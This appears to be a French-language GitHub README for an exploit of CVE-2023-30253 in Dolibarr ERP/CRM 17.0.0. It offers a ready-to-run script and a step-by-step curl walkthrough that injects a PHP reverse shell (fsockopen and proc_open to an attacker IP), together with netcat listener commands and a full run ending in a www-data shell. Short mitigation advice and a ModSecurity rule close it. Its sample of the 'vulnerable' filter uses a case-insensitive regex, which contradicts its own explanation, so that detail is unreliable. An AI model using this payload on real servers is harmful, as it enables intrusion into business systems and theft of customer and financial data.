
CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 RCE via injection de code PHP (exploit éducatif)
Exploit d'injection de code PHP pour Dolibarr ERP/CRM v17.0.0 permettant d'obtenir un shell inverse en tant qu'utilisateur www-data via le module Website/CMS.
⚠️ Uniquement à des fins éducatives et d'audits autorisés.
CVE-2023-30253 est une vulnérabilité d'injection de code PHP (CWE-94: Improper Control of Generation of Code) dans Dolibarr ERP/CRM versions antérieures à 17.0.1.
Elle a été découverte et rapportée par l'équipe Swascan (maintenant Hacktivesecurity) en mai 2023. La vulnérabilité réside dans le module Website/CMS, qui permet aux utilisateurs authentifiés de créer et gérer des sites web dans Dolibarr.
Dolibarr implémente un filtre pour empêcher les utilisateurs d'injecter du code PHP dans le contenu des pages du module Website. Cependant, ce filtre présente un défaut critique : il est case-sensitive.
// Code vulnérable (simplifié) dans Dolibarr 17.0.0
if (preg_match('/<\?php/i', $content)) {
// Bloque uniquement "<?php" en minuscules exactes... ou pas ?
die("PHP code detected!");
}
Le filtre recherche littéralement la chaîne <?php en minuscules. Mais PHP
permet n'importe quelle combinaison de minuscules et majuscules pour la
balise d'ouverture. Cela signifie que :
L'exploit utilise <?PHP (en majuscules) pour contourner le filtre, mais
n'importe quelle variante fonctionne.
De plus, le filtre n'est appliqué qu'au moment de sauvegarder le
contenu. Lors de la livraison de la page, Dolibarr transmet le contenu
sans assainissement supplémentaire à l'interpréteur PHP, qui exécute tout
code avec la balise d'ouverture <?.
Un attaquant authentifié peut :
/etc/passwd, configuration)Pourquoi est-ce critique ? Dolibarr est utilisé comme ERP/CRM d'entreprise. Une intrusion peut exposer des données clients, financières, des contrats et des identifiants internes.
L'exploit automatise le processus complet d'exploitation en 5 étapes :
┌─────────────────────────────────────────────────────────┐
│ CVE-2023-30253 │
│ │
│ 1. Login → S'authentifier dans Dolibarr │
│ 2. Create Website → Créer un site web vide │
│ 3. Create Page → Créer une page dans le site │
│ 4. Inject Shell → Injecter un shell inverse PHP │
│ 5. Trigger → Exécuter le payload │
│ │
│ Résultat : 🎯 Shell inverse en tant que www-data │
└─────────────────────────────────────────────────────────┘
Caractéristiques :
pageidfsockopen + proc_openrequestsbeautifulsoup4Ou simplement :
pip install -r requirements.txt
# Cloner le dépôt
git clone https://github.com/jeanback1/CVE-2023-30253-exploit.git
cd CVE-2023-30253-exploit
# Installer les dépendances
pip install -r requirements.txt
python exploit.py <target> <username> <password> <lhost> <lport> [opciones]
Arguments positionnels :
Options :
| Option | Description |
|---|---|
-v, --verbose | Affiche des informations de débogage détaillées |
--no-color | Désactive les couleurs dans la sortie |
-h, --help | Affiche l'aide et des exemples |
nc -lvnp 4444
python exploit.py http://crm.board.htb admin admin 10.10.14.5 4444 --verbose
════════════════════════════════════════════════════════
CVE-2023-30253 — Dolibarr 17.0.0 RCE Exploit
════════════════════════════════════════════════════════
Target: http://crm.board.htb
User: admin
LHOST: 10.10.14.5
LPORT: 4444
Site ID: s3a1f2bc
──────────────────────────────────────────────────
[10:45:12] Paso 1/5: Iniciando sesión...
[10:45:12] ✓ Sesión iniciada correctamente
[10:45:13] Paso 2/5: Creando sitio web...
[10:45:13] ✓ Sitio web 's3a1f2bc' creado
[10:45:13] Paso 3/5: Creando página en el sitio...
[10:45:13] ✓ Página creada dentro del sitio
[10:45:14] Paso 4/5: Inyectando reverse shell → 10.10.14.5:4444...
[10:45:14] ✓ Código PHP inyectado exitosamente
[10:45:14] Paso 5/5: Ejecutando payload (trigger)...
════════════════════════════════════════════════════════
EXPLOTACIÓN COMPLETADA
════════════════════════════════════════════════════════
Trigger URL:
http://crm.board.htb/public/website/index.php?website=s3a1f2bc&pageref=s3a1f2bc
Instrucciones:
1. En otra terminal, inicia tu listener:
nc -lvnp 4444
2. Accede a la Trigger URL (el exploit ya lo hizo)
3. Recibirás una shell reversa como www-data
Listening on 0.0.0.0 4444
Connection received on 10.129.231.37 52846
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Si vous préférez comprendre le processus manuellement (sans le script), voici le flux complet :
# Obtenir les cookies et le jeton CSRF
curl -c cookies.txt http://crm.board.htb/ > /dev/null
# Extraire le jeton
TOKEN=$(curl -s -b cookies.txt http://crm.board.htb/ \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
# Login
curl -b cookies.txt -c cookies.txt \
-X POST "http://crm.board.htb/index.php?mainmenu=home" \
-d "token=$TOKEN&actionlogin=login&loginfunction=loginfunction&username=admin&password=admin"
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?action=createsite" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
-d "token=$TOKEN&action=addsite&WEBSITE_REF=misitio&WEBSITE_TITLE=misitio&addcontainer=Create"
⚠️ Leçon apprise : Le paramètre
actioncorrect estaddsite, pasaddcomme apparaît dans certains exploits publics.
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?website=misitio" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
-d "token=$TOKEN&action=addcontainer&website=misitio&WEBSITE_TYPE_CONTAINER=page&WEBSITE_TITLE=TEST&addcontainer=Create"
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?website=misitio&pageid=1&action=editsource" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
PHP='<?PHP $s=fsockopen("10.10.14.5",4444);proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);?>'
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "action=updatesource" \
--data-urlencode "website=misitio" \
--data-urlencode "PAGE_CONTENT=$PHP"
🔑 Clé de l'attaque : Le champ correct est
PAGE_CONTENT, pasWEBSITE_CONTENT. De nombreux PoCs publics ont cette erreur.
curl "http://crm.board.htb/public/website/index.php?website=misitio&pageref=misitio"
Pour protéger un serveur Dolibarr contre cette vulnérabilité :
# Mettre à jour vers Dolibarr 17.0.1 ou supérieur
# Le correctif améliore le filtre pour détecter toute variante de <?php
Si vous n'utilisez pas le module Website/CMS, désactivez-le depuis :
Home → Setup → Modules → Website → Désactiver
# Bloquer toute variante de balises PHP dans le champ PAGE_CONTENT
SecRule ARGS:PAGE_CONTENT "@rx <\?php|< \?php|<\?PHP|<\?[pP][hH][pP]" \
"id:1001,phase:2,deny,status:403,msg:'CVE-2023-30253 PHP Injection blocked'"
Ce projet est créé à des fins éducatives et de recherche en sécurité informatique. L'utilisation de cet exploit contre des systèmes sans autorisation explicite est illégale et éthiquement répréhensible.
En tant que professionnel de la cybersécurité, je crois fermement en :
Créé par Jean Carlos
Étudiant en Cybersécurité | Pentesting | Joueur CTF
CVE-2021-3560 •
CVE-2023-27163 •
CVE-2024-46986 •
CVE-2025-2304
| Champ | Valeur |
|---|
| CVE | CVE-2023-30253 |
| CVSS v3.1 | 8.8 (HIGH) |
| Vecteur | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Type | CWE-94 — Code Injection |
| Logiciel affecté | Dolibarr ERP/CRM < 17.0.1 |
| Privilèges | Utilisateur authentifié (tout rôle) |
| Correctif | Dolibarr 17.0.1 — commit 4f6055c |
| Balise | Filtrée ? | Exécutée par PHP ? |
|---|
<?php ... ?> | ✅ | ✅ |
<?PHP ... ?> | ❌ | ✅ |
<?Php ... ?> | ❌ | ✅ |
<?pHp ... ?> | ❌ | ✅ |
| Argument | Description | Exemple |
|---|
target | URL de base de Dolibarr | http://crm.board.htb |
username | Utilisateur Dolibarr | admin |
password | Mot de passe Dolibarr | admin |
lhost | Votre IP (où vous recevrez le shell) | 10.10.14.5 |
lport | Votre port (où vous recevrez le shell) | 4444 |